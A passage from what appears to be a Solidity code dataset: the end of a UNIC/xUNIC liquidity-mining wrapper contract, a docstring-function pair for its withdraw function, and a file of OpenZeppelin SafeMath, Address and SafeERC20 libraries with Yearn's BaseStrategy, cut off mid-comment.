pool.totalLPTokens = pool.totalLPTokens.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accXUNICPerShare).div(1e12);
emit Deposit(_user, _pid, _amount);
}
function doHardWork() public {
uint256 numberOfUpdatedPools = 0;
for (uint256 _pid = 0; _pid < IUnicFarm(UNIC_MASTERCHEF).poolLength(); _pid++) {
if (poolInfo[_pid].totalLPTokens > 0) {
(,,uint256 lastRewardBlock,,) = IUnicFarm(UNIC_MASTERCHEF).poolInfo(_pid);
if (block.number - minBlocksToUpdatePoolInDoHardWork > lastRewardBlock) {
numberOfUpdatedPools = numberOfUpdatedPools.add(1);
updatePool(_pid);
}
}
}
emit DoHardWork(numberOfUpdatedPools);
}
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
uint256 prevXUNICBalance = IERC20(XUNIC).balanceOf(address(this));
IUnicFarm(UNIC_MASTERCHEF).deposit(_pid, 0);
uint256 UNICBalance = IERC20(UNIC).balanceOf(address(this));
if (UNICBalance > 0 && pool.totalLPTokens > 0) {
IUnicGallery(XUNIC).enter(UNICBalance);
uint256 addedXUNICs = IERC20(XUNIC).balanceOf(address(this)).sub(prevXUNICBalance);
uint256 devAmount = addedXUNICs.mul(100).div(devFeeDenominator); // For better precision
IERC20(XUNIC).transfer(devaddr, devAmount);
addedXUNICs = addedXUNICs.sub(devAmount);
pool.accXUNICPerShare = pool.accXUNICPerShare.add(addedXUNICs.mul(1e12).div(pool.totalLPTokens));
}
emit UpdatePool(_pid);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) external {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
uint256 amount = user.amount;
user.amount = 0;
user.rewardDebt = 0;
pool.totalLPTokens = pool.totalLPTokens.sub(amount);
IUnicFarm(UNIC_MASTERCHEF).withdraw(_pid, amount);
(IERC20 lpToken,,,,) = IUnicFarm(UNIC_MASTERCHEF).poolInfo(_pid);
lpToken.safeTransfer(address(msg.sender), amount);
if (pool.totalLPTokens > 0) {
// In case there are still users in that pool, we are using the claimed UNICs from `withdraw` to add to the share
// In case there aren't anymore users in that pool, the next pool that will get updated will receive the claimed UNICs
updatePool(_pid);
}
emit EmergencyWithdraw(msg.sender, _pid, amount);
}
// salvage purpose only for when stupid people send tokens here
function withdrawToken(address tokenToWithdraw, uint256 amount) external onlyOwner {
require(tokenToWithdraw != XUNIC, "Can't salvage xunic");
IERC20(tokenToWithdraw).transfer(msg.sender, amount);
}
// Safe unic transfer function, just in case if rounding error causes pool to not have enough xUNICs.
function safexUNICTransfer(address _to, uint256 _amount) internal {
uint256 xUNICBal = IERC20(XUNIC).balanceOf(address(this));
if (_amount > xUNICBal) {
IERC20(XUNIC).transfer(_to, xUNICBal);
} else {
IERC20(XUNIC).transfer(_to, _amount);
}
}
// Update dev address by the previous dev.
function dev(address _devaddr) public {
require(msg.sender == devaddr, "dev: wut?");
devaddr = _devaddr;
emit Dev(_devaddr);
}
// ------------- VIEW --------------
// Current rate of xUNIC
function getxUNICRate() public view returns (uint256) {
uint256 xUNICBalance = IERC20(UNIC).balanceOf(XUNIC);
uint256 xUNICSupply = IERC20(XUNIC).totalSupply();
return xUNICBalance.mul(1e18).div(xUNICSupply);
}
function pendingxUNICs(uint256 _pid, address _user) public view returns (uint256) {
PoolInfo memory pool = poolInfo[_pid];
UserInfo memory user = userInfo[_pid][_user];
// for frontend
uint256 notClaimedUNICs = IUnicFarm(UNIC_MASTERCHEF).pendingUnic(_pid, address(this));
if (notClaimedUNICs > 0) {
uint256 xUNICRate = getxUNICRate();
uint256 accXUNICPerShare = pool.accXUNICPerShare.add(notClaimedUNICs.mul(1e18).div(xUNICRate).mul(1e12).div(pool.totalLPTokens));
return (accXUNICPerShare.mul(user.amount).div(1e12)).sub(user.rewardDebt);
}
uint256 pendingXUNICs = (pool.accXUNICPerShare.mul(user.amount).div(1e12)).sub(user.rewardDebt);
return pendingXUNICs;
}
}
|
Withdraw LP tokens from MasterChef.
|
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = (pool.accXUNICPerShare.mul(user.amount).div(1e12)).sub(user.rewardDebt);
if (pending > 0) {
safexUNICTransfer(msg.sender, pending);
}
if (_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.totalLPTokens = pool.totalLPTokens.sub(_amount);
IUnicFarm(UNIC_MASTERCHEF).withdraw(_pid, _amount);
(IERC20 lpToken,,,,) = IUnicFarm(UNIC_MASTERCHEF).poolInfo(_pid);
lpToken.safeTransfer(address(msg.sender), _amount);
}
user.rewardDebt = user.amount.mul(pool.accXUNICPerShare).div(1e12);
emit Withdraw(msg.sender, _pid, _amount);
}
| 970,918 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma experimental ABIEncoderV2;
struct StrategyParams {
uint256 performanceFee;
uint256 activation;
uint256 debtRatio;
uint256 rateLimit;
uint256 lastReport;
uint256 totalDebt;
uint256 totalGain;
uint256 totalLoss;
}
interface VaultAPI is IERC20 {
function apiVersion() external view returns (string memory);
function withdraw(uint256 shares, address recipient) external;
function token() external view returns (address);
function strategies(address _strategy) external view returns (StrategyParams memory);
/**
* View how much the Vault would increase this Strategy's borrow limit,
* based on its present performance (since its last report). Can be used to
* determine expectedReturn in your Strategy.
*/
function creditAvailable() external view returns (uint256);
/**
* View how much the Vault would like to pull back from the Strategy,
* based on its present performance (since its last report). Can be used to
* determine expectedReturn in your Strategy.
*/
function debtOutstanding() external view returns (uint256);
/**
* View how much the Vault expect this Strategy to return at the current
* block, based on its present performance (since its last report). Can be
* used to determine expectedReturn in your Strategy.
*/
function expectedReturn() external view returns (uint256);
/**
* This is the main contact point where the Strategy interacts with the
* Vault. It is critical that this call is handled as intended by the
* Strategy. Therefore, this function will be called by BaseStrategy to
* make sure the integration is correct.
*/
function report(
uint256 _gain,
uint256 _loss,
uint256 _debtPayment
) external returns (uint256);
/**
* This function should only be used in the scenario where the Strategy is
* being retired but no migration of the positions are possible, or in the
* extreme scenario that the Strategy needs to be put into "Emergency Exit"
* mode in order for it to exit as quickly as possible. The latter scenario
* could be for any reason that is considered "critical" that the Strategy
* exits its position as fast as possible, such as a sudden change in
* market conditions leading to losses, or an imminent failure in an
* external dependency.
*/
function revokeStrategy() external;
/**
* View the governance address of the Vault to assert privileged functions
* can only be called by governance. The Strategy serves the Vault, so it
* is subject to governance defined by the Vault.
*/
function governance() external view returns (address);
}
/**
* This interface is here for the keeper bot to use.
*/
interface StrategyAPI {
function apiVersion() external pure returns (string memory);
function isActive() external view returns (bool);
function delegatedAssets() external virtual view returns (uint256);
function name() external view returns (string memory);
function vault() external view returns (address);
function keeper() external view returns (address);
function tendTrigger(uint256 callCost) external view returns (bool);
function tend() external;
function harvestTrigger(uint256 callCost) external view returns (bool);
function harvest() external;
event Harvested(uint256 profit, uint256 loss, uint256 debtPayment, uint256 debtOutstanding);
}
/**
* @title Yearn Base Strategy
* @author yearn.finance
* @notice
* BaseStrategy implements all of the required functionality to interoperate
* closely with the Vault contract. This contract should be inherited and the
* abstract methods implemented to adapt the Strategy to the particular needs
* it has to create a return.
*
* Of special interest is the relationship between `harvest()` and
* `vault.report()'. `harvest()` may be called simply because enough time has
* elapsed since the last report, and not because any funds need to be moved
* or positions adjusted. This is critical so that the Vault may maintain an
* accurate picture of the Strategy's performance. See `vault.report()`,
* `harvest()`, and `harvestTrigger()` for further details.
*/
abstract contract BaseStrategy {
using SafeMath for uint256;
/**
* @notice
* Used to track which version of `StrategyAPI` this Strategy
* implements.
* @dev The Strategy's version must match the Vault's `API_VERSION`.
* @return A string which holds the current API version of this contract.
*/
function apiVersion() public pure returns (string memory) {
return "0.3.0";
}
/**
* @notice This Strategy's name.
* @dev
* You can use this field to manage the "version" of this Strategy, e.g.
* `StrategySomethingOrOtherV1`. However, "API Version" is managed by
* `apiVersion()` function above.
* @return This Strategy's name.
*/
function name() external virtual view returns (string memory);
/**
* @notice
* The amount (priced in want) of the total assets managed by this strategy should not count
* towards Yearn's TVL calculations.
* @dev
* You can override this field to set it to a non-zero value if some of the assets of this
* Strategy is somehow delegated inside another part of of Yearn's ecosystem e.g. another Vault.
* Note that this value must be strictly less than or equal to the amount provided by
* `estimatedTotalAssets()` below, as the TVL calc will be total assets minus delegated assets.
* @return
* The amount of assets this strategy manages that should not be included in Yearn's Total Value
* Locked (TVL) calculation across it's ecosystem.
*/
function delegatedAssets() external virtual view returns (uint256) {
return 0;
}
VaultAPI public vault;
address public strategist;
address public rewards;
address public keeper;
IERC20 public want;
// So indexers can keep track of this
event Harvested(uint256 profit, uint256 loss, uint256 debtPayment, uint256 debtOutstanding);
event UpdatedStrategist(address newStrategist);
event UpdatedKeeper(address newKeeper);
event UpdatedRewards(address rewards);
event UpdatedReportDelay(uint256 delay);
event UpdatedProfitFactor(uint256 profitFactor);
event UpdatedDebtThreshold(uint256 debtThreshold);
event EmergencyExitEnabled();
// The maximum number of seconds between harvest calls. See
// `setMaxReportDelay()` for more details.
uint256 public maxReportDelay = 86400; // ~ once a day
// The minimum multiple that `callCost` must be above the credit/profit to
// be "justifiable". See `setProfitFactor()` for more details.
uint256 public profitFactor = 100;
// Use this to adjust the threshold at which running a debt causes a
// harvest trigger. See `setDebtThreshold()` for more details.
uint256 public debtThreshold = 0;
// See note on `setEmergencyExit()`.
bool public emergencyExit;
// modifiers
modifier onlyAuthorized() {
require(msg.sender == strategist || msg.sender == governance(), "!authorized");
_;
}
modifier onlyStrategist() {
require(msg.sender == strategist, "!strategist");
_;
}
modifier onlyGovernance() {
require(msg.sender == governance(), "!authorized");
_;
}
modifier onlyKeepers() {
require(msg.sender == keeper || msg.sender == strategist || msg.sender == governance(), "!authorized");
_;
}
/**
* @notice
* Initializes the Strategy, this is called only once, when the
* contract is deployed.
* @dev `_vault` should implement `VaultAPI`.
* @param _vault The address of the Vault responsible for this Strategy.
*/
constructor(address _vault) public {
vault = VaultAPI(_vault);
want = IERC20(vault.token());
want.approve(_vault, uint256(-1)); // Give Vault unlimited access (might save gas)
strategist = msg.sender;
rewards = msg.sender;
keeper = msg.sender;
}
/**
* @notice
* Used to change `strategist`.
*
* This may only be called by governance or the existing strategist.
* @param _strategist The new address to assign as `strategist`.
*/
function setStrategist(address _strategist) external onlyAuthorized {
require(_strategist != address(0));
strategist = _strategist;
emit UpdatedStrategist(_strategist);
}
/**
* @notice
* Used to change `keeper`.
*
* `keeper` is the only address that may call `tend()` or `harvest()`,
* other than `governance()` or `strategist`. However, unlike
* `governance()` or `strategist`, `keeper` may *only* call `tend()`
* and `harvest()`, and no other authorized functions, following the
* principle of least privilege.
*
* This may only be called by governance or the strategist.
* @param _keeper The new address to assign as `keeper`.
*/
function setKeeper(address _keeper) external onlyAuthorized {
require(_keeper != address(0));
keeper = _keeper;
emit UpdatedKeeper(_keeper);
}
/**
* @notice
* Used to change `rewards`. Any distributed rewards will cease flowing
* to the old address and begin flowing to this address once the change
* is in effect.
*
* This may only be called by the strategist.
* @param _rewards The address to use for collecting rewards.
*/
function setRewards(address _rewards) external onlyStrategist {
require(_rewards != address(0));
rewards = _rewards;
emit UpdatedRewards(_rewards);
}
/**
* @notice
* Used to change `maxReportDelay`. `maxReportDelay` is the maximum number
* of blocks that should pass for `harvest()` to be called.
*
* For external keepers (such as the Keep3r network), this is the maximum
* time between jobs to wait. (see `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _delay The maximum number of seconds to wait between harvests.
*/
function setMaxReportDelay(uint256 _delay) external onlyAuthorized {
maxReportDelay = _delay;
emit UpdatedReportDelay(_delay);
}
/**
* @notice
* Used to change `profitFactor`. `profitFactor` is used to determine
* if it's worthwhile to harvest, given gas costs. (See `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _profitFactor A ratio to multiply anticipated
* `harvest()` gas cost against.
*/
function setProfitFactor(uint256 _profitFactor) external onlyAuthorized {
profitFactor = _profitFactor;
emit UpdatedProfitFactor(_profitFactor);
}
/**
* @notice
* Sets how far the Strategy can go into loss without a harvest and report
* being required.
*
* By default this is 0, meaning any losses would cause a harvest which
* will subsequently report the loss to the Vault for tracking. (See
* `harvestTrigger()` for more details.)
*
* This may only be called by governance or the strategist.
* @param _debtThreshold How big of a loss this Strategy may carry without
* being required to report to the Vault.
*/
function setDebtThreshold(uint256 _debtThreshold) external onlyAuthorized {
debtThreshold = _debtThreshold;
emit UpdatedDebtThreshold(_debtThreshold);
}
/**
* Resolve governance address from Vault contract, used to make assertions
* on protected functions in the Strategy.
*/
function governance() internal view returns (address) {
return vault.governance();
}
/**
* @notice
* Provide an accurate estimate for the total amount of assets
* (principle + return) that this Strategy is currently managing,
* denominated in terms of `want` tokens.
*
* This total should be "realizable" e.g. the total value that could
* *actually* be obtained from this Strategy if it were to divest its
* entire position based on current on-chain conditions.
* @dev
* Care must be taken in using this function, since it relies on external
* systems, which could be manipulated by the attacker to give an inflated
* (or reduced) value produced by this function, based on current on-chain
* conditions (e.g. this function is possible to influence through
* flashloan attacks, oracle manipulations, or other DeFi attack
* mechanisms).
*
* It is up to governance to use this function to correctly order this
* Strategy relative to its peers in the withdrawal queue to minimize
* losses for the Vault based on sudden withdrawals. This value should be
* higher than the total debt of the Strategy and higher than its expected
* value to be "safe".
* @return The estimated total assets in this Strategy.
*/
function estimatedTotalAssets() public virtual view returns (uint256);
/*
* @notice
* Provide an indication of whether this strategy is currently "active"
* in that it is managing an active position, or will manage a position in
* the future. This should correlate to `harvest()` activity, so that Harvest
* events can be tracked externally by indexing agents.
* @return True if the strategy is actively managing a position.
*/
function isActive() public view returns (bool) {
return vault.strategies(address(this)).debtRatio > 0 || estimatedTotalAssets() > 0;
}
/**
* Perform any Strategy unwinding or other calls necessary to capture the
* "free return" this Strategy has generated since the last time its core
* position(s) were adjusted. Examples include unwrapping extra rewards.
* This call is only used during "normal operation" of a Strategy, and
* should be optimized to minimize losses as much as possible.
*
* This method returns any realized profits and/or realized losses
* incurred, and should return the total amounts of profits/losses/debt
* payments (in `want` tokens) for the Vault's accounting (e.g.
* `want.balanceOf(this) >= _debtPayment + _profit - _loss`).
*
* `_debtOutstanding` will be 0 if the Strategy is not past the configured
* debt limit, otherwise its value will be how far past the debt limit
* the Strategy is. The Strategy's debt limit is configured in the Vault.
*
* NOTE: `_debtPayment` should be less than or equal to `_debtOutstanding`.
* It is okay for it to be less than `_debtOutstanding`, as that
* should only used as a guide for how much is left to pay back.
* Payments should be made to minimize loss from slippage, debt,
* withdrawal fees, etc.
*
* See `vault.debtOutstanding()`.
*/
function prepareReturn(uint256 _debtOutstanding)
internal
virtual
returns (
uint256 _profit,
uint256 _loss,
uint256 _debtPayment
);
/**
* Perform any adjustments to the core position(s) of this Strategy given
* what change the Vault made in the "investable capital" available to the
* Strategy. Note that all "free capital" in the Strategy after the report
* was made is available for reinvestment. Also note that this number
* could be 0, and you should handle that scenario accordingly.
*
* See comments regarding `_debtOutstanding` on `prepareReturn()`.
*/
function adjustPosition(uint256 _debtOutstanding) internal virtual;
/**
* Liquidate up to `_amountNeeded` of `want` of this strategy's positions,
* irregardless of slippage. Any excess will be re-invested with `adjustPosition()`.
* This function should return the amount of `want` tokens made available by the
* liquidation. If there is a difference between them, `_loss` indicates whether the
* difference is due to a realized loss, or if there is some other sitution at play
* (e.g. locked funds). This function is used during emergency exit instead of
* `prepareReturn()` to liquidate all of the Strategy's positions back to the Vault.
*
